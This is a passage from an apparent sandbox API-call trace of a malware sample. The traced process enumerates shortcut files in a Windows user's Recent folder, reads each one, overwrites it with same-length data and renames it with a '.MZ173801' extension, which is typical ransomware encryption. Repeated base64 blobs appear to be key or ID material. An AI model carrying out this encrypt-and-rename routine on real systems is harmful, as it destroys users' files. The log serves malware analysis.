RGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.868] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\P7HO- 5Ty8zEz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p7ho- 5ty8zez.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.868] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.868] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.868] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x401 [0121.868] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.869] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x401, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x401, lpOverlapped=0x0) returned 1 [0121.870] CloseHandle (hObject=0x288) returned 1 [0121.870] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\P7HO- 5Ty8zEz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p7ho- 5ty8zez.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.871] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x401, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x401, lpOverlapped=0x0) returned 1 [0121.872] CloseHandle (hObject=0x288) returned 1 [0121.873] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\P7HO- 5Ty8zEz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p7ho- 5ty8zez.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\P7HO- 5Ty8zEz.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p7ho- 5ty8zez.lnk.mz173801")) returned 1 [0121.874] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdebffc20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdebffc20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdebffc20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa73, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="P9h2q9pkA0FWYXgRW7.lnk", cAlternateFileName="P9H2Q9~1.LNK")) returned 1 [0121.875] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.875] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.875] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\P9h2q9pkA0FWYXgRW7.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p9h2q9pka0fwyxgrw7.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdebffc20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdebffc20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdebffc20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa73)) returned 1 [0121.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.879] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\P9h2q9pkA0FWYXgRW7.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p9h2q9pka0fwyxgrw7.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.879] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.879] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.880] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xa73 [0121.880] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.880] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa73, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa73, lpOverlapped=0x0) returned 1 [0121.881] CloseHandle (hObject=0x288) returned 1 [0121.881] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\P9h2q9pkA0FWYXgRW7.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p9h2q9pka0fwyxgrw7.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.882] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa73, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa73, lpOverlapped=0x0) returned 1 [0121.883] CloseHandle (hObject=0x288) returned 1 [0121.884] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\P9h2q9pkA0FWYXgRW7.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p9h2q9pka0fwyxgrw7.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\P9h2q9pkA0FWYXgRW7.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p9h2q9pka0fwyxgrw7.lnk.mz173801")) returned 1 [0121.885] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde1bbd40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde1bbd40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde1bbd40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x252, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="pVjAn4Y7HQcGd.mkv.lnk", cAlternateFileName="PVJAN4~1.LNK")) returned 1 [0121.885] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.885] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.885] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pVjAn4Y7HQcGd.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\pvjan4y7hqcgd.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde1bbd40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde1bbd40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde1bbd40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x252)) returned 1 [0121.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEz